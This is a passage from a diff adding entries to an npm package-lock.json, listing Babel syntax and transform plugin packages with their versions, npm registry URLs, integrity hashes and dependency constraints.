"7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz", + "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-json-strings": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-jsx": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.23.3.tgz", + "integrity": "sha512-EB2MELswq55OHUoRZLGg/zC7QWUKfNLpE57m/S2yr1uEneIgsTgrSzXP3NXEsMkVn76OlaVVnzN+ugObuYGwhg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-logical-assignment-operators": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-numeric-separator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-object-rest-spread": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-catch-binding": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-chaining": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-private-property-in-object": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", + "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-top-level-await": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", + "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-typescript": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.23.3.tgz", + "integrity": "sha512-9EiNjVJOMwCO+43TqoTrgQ8jMwcAd0sWyXi9RPfIsLTj4R2MADDDQXELhffaUx/uJv2AYcxBgPwH6j4TIA4ytQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-unicode-sets-regex": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz", + "integrity": "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-arrow-functions": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.23.3.tgz", + "integrity": "sha512-NzQcQrzaQPkaEwoTm4Mhyl8jI1huEL/WWIEvudjTCMJ9aBZNpsJbMASx7EQECtQQPS/DcnFpo0FIh3LvEO9cxQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-generator-functions": { + "version": "7.23.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.23.7.tgz", + "integrity": "sha512-PdxEpL71bJp1byMG0va5gwQcXHxuEYC/BgI/e88mGTtohbZN28O5Yit0Plkkm/dBzCF/BxmbNcses1RH1T+urA==", + "dev": true, + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-remap-async-to-generator": "^7.22.20", + "@babel/plugin-syntax-async-generators": "^7.8.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-to-generator": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.23.3.tgz", + "integrity": "sha512-A7LFsKi4U4fomjqXJlZg/u0ft/n8/7n7lpffUP/ZULx/DtV9SGlNKZolHH6PE8Xl1ngCc0M11OaeZptXVkfKSw==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-remap-async-to-generator": "^7.22.20" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoped-functions": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.23.3.tgz", + "integrity": "sha512-vI+0sIaPIO6CNuM9Kk5VmXcMVRiOpDh7w2zZt9GXzmE/9KD70CUEVhvPR/etAeNK/FAEkhxQtXOzVF3EuRL41A==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoping": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.23.4.tgz", + "integrity": "sha512-0QqbP6B6HOh7/8iNR4CQU2Th/bbRtBp4KS9vcaZd1fZ0wSh5Fyssg0UCIHwxh+ka+pNDREbVLQnHCMHKZfPwfw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-class-properties": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.23.3.tgz", + "integrity": "sha512-uM+AN8yCIjDPccsKGlw271xjJtGii+xQIF/uMPS8H15L12jZTsLfF4o5vNO7d/oUguOyfdikHGc/yi9ge4SGIg==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-class-static-block": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.23.4.tgz", + "integrity": "sha512-nsWu/1M+ggti1SOALj3hfx5FXzAY06fwPJsUZD4/A5e1bWi46VUIWtD+kOX6/IdhXGsXBWllLFDSnqSCdUNydQ==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-class-static-block": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.12.0" + } + }, + "node_modules/@babel/plugin-transform-classes": { + "version": "7.23.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.23.8.tgz", + "integrity": "sha512-yAYslGsY1bX6Knmg46RjiCiNSwJKv2IUC8qOdYKqMMr0491SXFhcHqOdRDeCRohOOIzwN/90C6mQ9qAKgrP7dg==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-compilation-targets": "^7.23.6", + "@babel/helper-environment-visitor": "^7.22.20", + "@babel/helper-function-name": "^7.23.0", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.20", + "@babel/helper-split-export-declaration": "^7.22.6", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-computed-properties": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.23.3.tgz", + "integrity": "sha512-dTj83UVTLw/+nbiHqQSFdwO9CbTtwq1DsDqm3CUEtDrZNET5rT5E6bIdTlOftDTDLMYxvxHNEYO4B9SLl8SLZw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/template": "^7.22.15" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-destructuring": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.23.3.tgz", + "integrity": "sha512-n225npDqjDIr967cMScVKHXJs7rout1q+tt50inyBCPkyZ8KxeI6d+GIbSBTT/w/9WdlWDOej3V9HE5Lgk57gw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-dotall-regex": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.23.3.tgz", + "integrity": "sha512-vgnFYDHAKzFaTVp+mneDsIEbnJ2Np/9ng9iviHw3P/KVcgONxpNULEW/51Z/BaFojG2GI2GwwXck5uV1+1NOYQ==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-duplicate-keys": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.23.3.tgz", + "integrity": "sha512-RrqQ+BQmU3Oyav3J+7/myfvRCq7Tbz+kKLLshUmMwNlDHExbGL7ARhajvoBJEvc+fCguPPu887N+3RRXBVKZUA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-dynamic-import": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.23.4.tgz", + "integrity": "sha512-V6jIbLhdJK86MaLh4Jpghi8ho5fGzt3imHOBu/x0jlBaPYqDoWz4RDXjmMOfnh+JWNaQleEAByZLV0QzBT4YQQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-exponentiation-operator": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.23.3.tgz", + "integrity": "sha512-5fhCsl1odX96u7ILKHBj4/Y8vipoqwsJMh4csSA8qFfxrZDEA4Ssku2DyNvMJSmZNOEBT750LfFPbtrnTP90BQ==", + "dev": true, + "dependencies": { + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-export-namespace-from": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.23.4.tgz", + "integrity": "sha512-GzuSBcKkx62dGzZI1WVgTWvkkz84FZO5TC5T8dl/Tht/rAla6Dg/Mz9Yhypg+ezVACf/rgDuQt3kbWEv7LdUDQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-for-of": { + "version": "7.23.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.23.6.tgz", + "integrity": "sha512-aYH4ytZ0qSuBbpfhuofbg/e96oQ7U2w1Aw/UQmKT+1l39uEhUPoFS3fHevDc1G0OvewyDudfMKY1OulczHzWIw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-function-name": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.23.3.tgz", + "integrity": "sha512-I1QXp1LxIvt8yLaib49dRW5Okt7Q4oaxao6tFVKS/anCdEOMtYwWVKoiOA1p34GOWIZjUK0E+zCp7+l1pfQyiw==", + "dev": true, + "dependencies": { + "@babel/helper-compilation-targets": "^7.22.15", + "@babel/helper-function-name": "^7.23.0", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-json-strings": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.23.4.tgz", + "integrity": "sha512-81nTOqM1dMwZ/aRXQ59zVubN9wHGqk6UtqRK+/q+ciXmRy8fSolhGVvG09HHRGo4l6fr/c4ZhXUQH0uFW7PZbg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-json-strings": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-literals": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.23.3.tgz", + "integrity": "sha512-wZ0PIXRxnwZvl9AYpqNUxpZ5BiTGrYt7kueGQ+N5FiQ7RCOD4cm8iShd6S6ggfVIWaJf2EMk8eRzAh52RfP4rQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-logical-assignment-operators": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.23.4.tgz", + "integrity": "sha512-Mc/ALf1rmZTP4JKKEhUwiORU+vcfarFVLfcFiolKUo6sewoxSEgl36ak5t+4WamRsNr6nzjZXQjM35WsU+9vbg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-member-expression-literals": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.23.3.tgz", + "integrity": "sha512-sC3LdDBDi5x96LA+Ytekz2ZPk8i/Ck+DEuDbRAll5rknJ5XRTSaPKEYwomLcs1AA8wg9b3KjIQRsnApj+q51Ag==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-amd": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.23.3.tgz", + "integrity": "sha512-vJYQGxeKM4t8hYCKVBlZX/gtIY2I7mRGFNcm85sgXGMTBcoV3QdVtdpbcWEbzbfUIUZKwvgFT82mRvaQIebZzw==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.23.3", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-commonjs": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.23.3.tgz", + "integrity": "sha512-aVS0F65LKsdNOtcz6FRCpE4OgsP2OFnW46qNxNIX9h3wuzaNcSQsJysuMwqSibC98HPrf2vCgtxKNwS0DAlgcA==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.23.3", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-simple-access": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-systemjs": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.23.3.tgz", + "integrity": "sha512-ZxyKGTkF9xT9YJuKQRo19ewf3pXpopuYQd8cDXqNzc3mUNbOME0RKMoZxviQk74hwzfQsEe66dE92MaZbdHKNQ==", + "dev": true, + "dependencies": { + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-module-transforms": "^7.23.3", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.20" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-umd": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.23.3.tgz", + "integrity": "sha512-zHsy9iXX2nIsCBFPud3jKn1IRPWg3Ing1qOZgeKV39m1ZgIdpJqvlWVeiHBZC6ITRG0MfskhYe9cLgntfSFPIg==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.23.3", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.22.5.tgz", + "integrity": "sha512-YgLLKmS3aUBhHaxp5hi1WJTgOUb/NCuDHzGT9z9WTt3YG+CPRhJs6nprbStx6DnWM4dh6gt7SU3sZodbZ08adQ==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-new-target": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.23.3.tgz", + "integrity": "sha512-YJ3xKqtJMAT5/TIZnpAR3I+K+WaDowYbN3xyxI8zxx/Gsypwf9B9h0VB+1Nh6ACAAPRS5NSRje0uVv5i79HYGQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-nullish-coalescing-operator": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.23.4.tgz", + "integrity": "sha512-jHE9EVVqHKAQx+VePv5LLGHjmHSJR76vawFPTdlxR/LVJPfOEGxREQwQfjuZEOPTwG92X3LINSh3M40Rv4zpVA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-numeric-separator": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.23.4.tgz", + "integrity": "sha512-mps6auzgwjRrwKEZA05cOwuDc9FAzoyFS4ZsG/8F43bTLf/TgkJg7QXOrPO1JO599iA3qgK9MXdMGOEC8O1h6Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-rest-spread": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.23.4.tgz", + "integrity": "sha512-9x9K1YyeQVw0iOXJlIzwm8ltobIIv7j2iLyP2jIhEbqPRQ7ScNgwQufU2I0Gq11VjyG4gI4yMXt2VFags+1N3g==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.23.3", + "@babel/helper-compilation-targets": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-transform-parameters": "^7.23.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-super": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.23.3.tgz", + "integrity": "sha512-BwQ8q0x2JG+3lxCVFohg+KbQM7plfpBwThdW9A6TMtWwLsbDA01Ek2Zb/AgDN39BiZsExm4qrXxjk+P1/fzGrA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.20" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-catch-binding": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.23.4.tgz", + "integrity": "sha512-XIq8t0rJPHf6Wvmbn9nFxU6ao4c7WhghTR5WyV8SrJfUFzyxhCm4nhC+iAp3HFhbAKLfYpgzhJ6t4XCtVwqO5A==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-chaining": { + "version": "7.23.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.23.4.tgz", + "integrity": "sha512-ZU8y5zWOfjM5vZ+asjgAPwDaBjJzgufjES89Rs4Lpq63O300R/kOz30WCLo6BxxX6QVEilwSlpClnG5cZaikTA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-parameters": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.23.3.tgz", + "integrity": "sha512-09lMt6UsUb3/34BbECKVbVwrT9bO6lILWln237z7sLaWnMsTi7Yc9fhX5DLpkJzAGfaReXI22wP41SZmnAA3Vw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-methods": { + "version": "7.23.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.23.3.tgz", + "integrity": "sha512-UzqRcRtWsDMTLrRWFvUBDwmw06tCQH9Rl1uAjfh6ijMSmGYQ+fpdB+cnqRC8EMh5tuuxSv0/TejGL+7vyj+50g==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + 